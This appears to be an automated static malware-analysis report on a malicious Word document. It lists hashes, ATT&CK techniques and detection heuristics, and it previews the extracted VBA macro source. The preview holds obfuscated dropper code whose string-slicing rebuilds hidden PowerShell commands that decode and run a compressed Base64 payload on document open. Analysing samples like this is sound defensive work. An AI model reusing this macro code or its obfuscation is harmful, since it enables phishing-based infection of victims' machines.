Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 43ef6280be556337…

MALICIOUS

Office (OLE)

117.0 KB Created: 2018-05-23 13:41:00 Authoring application: Microsoft Office Word First seen: 2018-06-30
MD5: 60ab85156d3939eac4e5786d1787dfb7 SHA-1: 445bb2821a763d13944c60f10dfda3c6b1f3f072 SHA-256: 43ef6280be556337493ce5c4519a0f70b7320ac067fbfad5d05de6e80ef7a2c4
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro and Shell() call indicate an attempt to execute arbitrary code. The obfuscated strings within the VBA script likely reconstruct commands to download and execute a secondary payload, as suggested by the ClamAV detection name 'Doc.Dropper.Agent'. The presence of AutoOpen and Shell() calls strongly suggests a dropper or downloader functionality.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6555421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6555421-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 129529 bytes
SHA-256: 4bad362824bd4cb2f2755439fd8e10f17809da16d37e4fd86f4e6253e97daea6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IsOMqNqqiQsr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function OOuXFkPDirT()

On Error Resume Next
thUrTfb = OJDBDRch + CSng(687366) + 796075 / Sin(122938 - CByte(981610) / 997252 - Round(687366)) + zJJYEU * JLDZvtw - (796075 + 122938 + 981610 - 6873660)
Set QCQvAA = KiYlSvE
ORscZKZElz = "i3rshell zOAoW4rYcfwezHJXCKDZ-jCFZva"
YUccGtGJ = CStr(Left(Right(ORscZKZElz, 24), 1)) + Left(Right(ORscZKZElz, 17), 2) + CStr(Left(Right(ORscZKZElz, 34), 5)) + CStr(Left(Right(ORscZKZElz, 29), 2)) + CStr(Left(Right(ORscZKZElz, 7), 1)) + Left(Right(ORscZKZElz, 23), 1)

XRzlPRwQzF = "i3wsTyleA hAdj4iYdfaUzHJnDoDZTjCFZvaidJ2PhsWl"
ZGmFM = CStr(Left(Right(XRzlPRwQzF, 30), 1)) + Left(Right(XRzlPRwQzF, 21), 3) + CStr(Left(Right(XRzlPRwQzF, 43), 6)) + Left(Right(XRzlPRwQzF, 36), 2) + CStr(Left(Right(XRzlPRwQzF, 9), 2)) + CStr(Left(Right(XRzlPRwQzF, 28), 1))

YRiGiSl = "6c25x-oBjECT  io.CoHmpReSZTjCFZvaven2Ph.DlcrKGWfoCzujmP ( nEWFBv4oTvfIdBmEkYuKzw2oSIoNCoWKsJWJBGZhmWmb"
aanVFbhm = CStr(Left(Right(YRiGiSl, 68), 2)) + CStr(Left(Right(YRiGiSl, 47), 6)) + CStr(Left(Right(YRiGiSl, 97), 14)) + CStr(Left(Right(YRiGiSl, 82), 5)) + Left(Right(YRiGiSl, 20), 4) + CStr(Left(Right(YRiGiSl, 63), 2)) + CStr(Left(Right(YRiGiSl, 29), 1))

kmSEElidsi = "i3esTREAM([Adj4rFc.aUzHJXCLATTjCFZvavtJiohsWlcrK"
kzEiK = CStr(Left(Right(kmSEElidsi, 32), 1)) + CStr(Left(Right(kmSEElidsi, 22), 3)) + CStr(Left(Right(kmSEElidsi, 46), 7)) + CStr(Left(Right(kmSEElidsi, 39), 2)) + Left(Right(kmSEElidsi, 9), 2) + Left(Right(kmSEElidsi, 30), 1)

GzYtSIDqouJ = "3i6rySTReAMdj4rYcfMUz][SCKDZTeMoZvavysTPhsWlcrKGWfoCzu"
hnqEPHvL = CStr(Left(Right(GzYtSIDqouJ, 36), 1)) + CStr(Left(Right(GzYtSIDqouJ, 25), 3)) + CStr(Left(Right(GzYtSIDqouJ, 51), 8)) + Left(Right(GzYtSIDqouJ, 33), 3) + Left(Right(GzYtSIDqouJ, 18), 3)

EIjTZTMw = "6c25VeRT]::FroMfbASEJXCKDZTeMFZTrvtJ2PhsWlcr.conoCzujmPYQisOgFBv464sfIdBm7kYuKzw2"
EmZisKmlPDJ = CStr(Left(Right(EIjTZTMw, 54), 2)) + Left(Right(EIjTZTMw, 37), 4) + Left(Right(EIjTZTMw, 77), 11) + CStr(Left(Right(EIjTZTMw, 65), 4)) + CStr(Left(Right(EIjTZTMw, 16), 3)) + CStr(Left(Right(EIjTZTMw, 50), 2)) + Left(Right(EIjTZTMw, 24), 1)

ihhKfRmEbb = "Z 'bR6Zr5xNzOAdjG(YcfaUzHTXCKD"
Jidzr = Left(Right(ihhKfRmEbb, 20), 1) + Left(Right(ihhKfRmEbb, 14), 2) + CStr(Left(Right(ihhKfRmEbb, 29), 4)) + CStr(Left(Right(ihhKfRmEbb, 24), 2)) + CStr(Left(Right(ihhKfRmEbb, 5), 1))
wuuzM = fAcYJNEXZZ + CSng(158302) + 786837 / Sin(452645 - CByte(985248) / 497487 - Round(158302)) + mPOaIAs * kTnflQOJzs - (786837 + 452645 + 985248 - 1583020)
Set buvArwzUJj = ZqEvGAEbqtC
TFNLJhT = "Z8PtJ9c259AzOAdtIrYcfaxzHJX"
zITLaHqM = Left(Right(TFNLJhT, 18), 1) + CStr(Left(Right(TFNLJhT, 12), 2)) + CStr(Left(Right(TFNLJhT, 26), 4)) + Left(Right(TFNLJhT, 22), 1) + CStr(Left(Right(TFNLJhT, 5), 1))

PpwTo = Chr(43)
dpbAdwJTKB = "ZTsJvEra5xAsOAdj4r6kfaUzHJX3KDZTj"
XoHizvZoE = Left(Right(dpbAdwJTKB, 22), 1) + CStr(Left(Right(dpbAdwJTKB, 15), 2)) + CStr(Left(Right(dpbAdwJTKB, 32), 5)) + Left(Right(dpbAdwJTKB, 27), 2) + Left(Right(dpbAdwJTKB, 6), 1)

KtLlw = "ZKk0l6Dt5xszOAdjXVYcfaUzHOXCKD"
iNrIY = Left(Right(KtLlw, 20), 1) + Left(Right(KtLlw, 14), 2) + CStr(Left(Right(KtLlw, 29), 4)) + CStr(Left(Right(KtLlw, 24), 2)) + CStr(Left(Right(KtLlw, 5), 1))

BpiBMnoa = "i3i6VEUoZNjHBJIbCsfaUzHJJCKLlTjCFZvavtJdw17WlcrKGWfoCzujmPxlGsOgFBv4oTvf"
lGGXHi = CStr(Left(Right(BpiBMnoa, 48), 1)) + CStr(Left(Right(BpiBMnoa, 33), 4)) + CStr(Left(Right(BpiBMnoa, 68), 10)) + CStr(Left(Right(BpiBMnoa, 58), 4)) + CStr(Left(Right(BpiBMnoa, 14), 3)) + Left(Right(BpiBMnoa, 45), 2)

JiizwB = "3iM7oxD6zOAdjvrCEfaUz9/XCKWzTjCFZvavtJ2"
PlCTdXqDIZl = CStr(Left(Right(JiizwB, 26), 1)) + CStr(Left(Right(JiizwB, 18), 2)) + CStr(Left(Right(JiizwB, 37), 6)) + Left(Right(JiizwB, 24), 2) + CStr(Left(Right(JiizwB, 13), 2))

JCTcl = "i6c257Lb1W178czi8WI2rPJuIXZTjCFZvavt87Phs
... (truncated)

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